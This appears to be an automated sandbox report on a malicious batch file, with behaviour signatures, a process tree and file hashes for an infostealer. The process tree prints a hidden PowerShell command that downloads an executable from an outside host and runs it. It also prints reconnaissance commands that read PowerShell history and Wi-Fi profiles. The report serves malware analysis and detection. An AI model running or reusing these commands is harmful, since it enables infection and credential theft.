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Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240709-en
  • resource tags

    arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    26/07/2024, 17:48

General

  • Target

    frdddd.bat

  • Size

    255B

  • MD5

    7cfc0e137d5d8b7f808add077083360b

  • SHA1

    af7b34d385fdfcb6c1e0b37ce3908dcc437f3da9

  • SHA256

    596217a3228f37bd8ac0ea92db6fc1b9fab378b96aea86ecd72e822809d948c5

  • SHA512

    9b02fec89d4dfe4982a824c6b2f3c345c670285718e04c81d0e39e463e9d8f366fff04d892aea6464ef6a644c791aa86429c67e1411bfba6935385f047098ae0

Malware Config

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 27 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\frdddd.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1200
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "$tempFile = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'services.exe'); Invoke-WebRequest -Uri 'https://pomf2.lain.la/f/fx2lvav.img' -OutFile $tempFile; Start-Process $tempFile -NoNewWindow -Wait"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:868
      • C:\Users\Admin\AppData\Local\Temp\services.exe
        "C:\Users\Admin\AppData\Local\Temp\services.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2764
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ping -n 1 1.1.1.1
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:2324
          • C:\Windows\SysWOW64\PING.EXE
            ping -n 1 1.1.1.1
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:2896
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c wmic csproduct get uuid
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4888
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic csproduct get uuid
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:1488
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c wmic csproduct get uuid
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3316
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic csproduct get uuid
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:656
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c wmic path win32_VideoController get name
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4324
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic path win32_VideoController get name
            5⤵
            • System Location Discovery: System Language Discovery
            • Detects videocard installed
            PID:2392
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c wmic cpu get name
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:580
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic cpu get name
            5⤵
            • System Location Discovery: System Language Discovery
            PID:576
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c wmic os get Caption /value
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:544
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic os get Caption /value
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3172
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c wmic path win32_VideoController get currentrefreshrate
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1948
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic path win32_VideoController get currentrefreshrate
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1196
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell Get-Content (Get-PSReadlineOption).HistorySavePath
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1400
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Content (Get-PSReadlineOption).HistorySavePath
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:896
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c tasklist
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2192
          • C:\Windows\SysWOW64\tasklist.exe
            tasklist
            5⤵
            • Enumerates processes with tasklist
            • System Location Discovery: System Language Discovery
            PID:4984
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c systeminfo
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2540
          • C:\Windows\SysWOW64\systeminfo.exe
            systeminfo
            5⤵
            • System Location Discovery: System Language Discovery
            • Gathers system information
            PID:4088
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c netsh wlan show profile
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Wi-Fi Discovery
          PID:4732
          • C:\Windows\SysWOW64\netsh.exe
            netsh wlan show profile
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:572
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get /value
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2776
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get /value
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3524
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell.exe -Command "Get-ItemProperty HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate, InstallLocation"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1208
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -Command "Get-ItemProperty HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate, InstallLocation"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:4672
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x00000000000004E4 0x00000000000004E8
    1⤵
      PID:2928

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      1KB

      MD5

      e080d58e6387c9fd87434a502e1a902e

      SHA1

      ae76ce6a2a39d79226c343cfe4745d48c7c1a91a

      SHA256

      6fc482e46f6843f31d770708aa936de4cc32fec8141154f325438994380ff425

      SHA512

      6c112200ef09e724f2b8ab7689a629a09d74db2dcb4dd83157dd048cbe74a7ce5d139188257efc79a137ffebde0e3b61e0e147df789508675fedfd11fcad9ede

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      18KB

      MD5

      20280702af5089a4e082a2bd33a47651

      SHA1

      831a1028bf79d2ace3e9456126961bdfb249f1d1

      SHA256

      1448276cdae327b67df1a5dc15d48632b1ca8b6e44799781af82bc7b0a38f502

      SHA512

      fc6f8b32d327000d63e3ec9a4b8940dcc60a017c75d4716800424501cd689e3290506d0e3d572165daba4a04e7590d1ada1b34f8fd6dbf4448c09772f8499ad9

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vy4z51ob.g5f.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\services.exe

      Filesize

      4.5MB

      MD5

      b85914d36703377812cba113ca4638b7

      SHA1

      3c68a49b599dac13f4cb7cd327ad7c9c15313381

      SHA256

      2ef086862494efd63cfacf30753bb2df9dd55f18d04e71fb912e79d47657b9d3

      SHA512

      45ae20f08b16c8056cf4cd5a7e65f4f6b593cf41ca63431d0db153ddcfbbf28b1bff92800093cf48ca4b66c35afd3a626862559a247052b2ff5dc4c426a29a07

    • memory/868-10-0x00007FFD790D0000-0x00007FFD79B92000-memory.dmp

      Filesize

      10.8MB

    • memory/868-12-0x00007FFD790D0000-0x00007FFD79B92000-memory.dmp

      Filesize

      10.8MB

    • memory/868-11-0x00007FFD790D0000-0x00007FFD79B92000-memory.dmp

      Filesize

      10.8MB

    • memory/868-95-0x00007FFD790D0000-0x00007FFD79B92000-memory.dmp

      Filesize

      10.8MB

    • memory/868-0-0x00007FFD790D3000-0x00007FFD790D5000-memory.dmp

      Filesize

      8KB

    • memory/868-94-0x00007FFD790D0000-0x00007FFD79B92000-memory.dmp

      Filesize

      10.8MB

    • memory/868-9-0x0000021E68BD0000-0x0000021E68BF2000-memory.dmp

      Filesize

      136KB

    • memory/868-70-0x00007FFD790D0000-0x00007FFD79B92000-memory.dmp

      Filesize

      10.8MB

    • memory/868-69-0x00007FFD790D3000-0x00007FFD790D5000-memory.dmp

      Filesize

      8KB

    • memory/896-25-0x00000000050C0000-0x00000000050E2000-memory.dmp

      Filesize

      136KB

    • memory/896-27-0x00000000051D0000-0x0000000005236000-memory.dmp

      Filesize

      408KB

    • memory/896-36-0x0000000005BB0000-0x0000000005F07000-memory.dmp

      Filesize

      3.3MB

    • memory/896-37-0x0000000005F90000-0x0000000005FAE000-memory.dmp

      Filesize

      120KB

    • memory/896-38-0x0000000005FB0000-0x0000000005FFC000-memory.dmp

      Filesize

      304KB

    • memory/896-39-0x0000000006490000-0x00000000064D6000-memory.dmp

      Filesize

      280KB

    • memory/896-40-0x0000000007360000-0x00000000073F6000-memory.dmp

      Filesize

      600KB

    • memory/896-41-0x0000000006560000-0x000000000657A000-memory.dmp

      Filesize

      104KB

    • memory/896-42-0x0000000006F60000-0x0000000006F82000-memory.dmp

      Filesize

      136KB

    • memory/896-43-0x00000000079B0000-0x0000000007F56000-memory.dmp

      Filesize

      5.6MB

    • memory/896-26-0x0000000005160000-0x00000000051C6000-memory.dmp

      Filesize

      408KB

    • memory/896-24-0x0000000005320000-0x000000000594A000-memory.dmp

      Filesize

      6.2MB

    • memory/896-23-0x0000000004B10000-0x0000000004B46000-memory.dmp

      Filesize

      216KB

    • memory/2764-18-0x0000000000400000-0x0000000000E59000-memory.dmp

      Filesize

      10.3MB

    • memory/2764-21-0x0000000000400000-0x0000000000E59000-memory.dmp

      Filesize

      10.3MB

    • memory/2764-20-0x000000000082C000-0x00000000009CE000-memory.dmp

      Filesize

      1.6MB

    • memory/2764-136-0x0000000000400000-0x0000000000E59000-memory.dmp

      Filesize

      10.3MB

    • memory/4672-68-0x0000000006790000-0x00000000067DC000-memory.dmp

      Filesize

      304KB

    • memory/4672-63-0x0000000005F90000-0x00000000062E7000-memory.dmp

      Filesize

      3.3MB

    • memory/4672-71-0x00000000089C0000-0x000000000903A000-memory.dmp

      Filesize

      6.5MB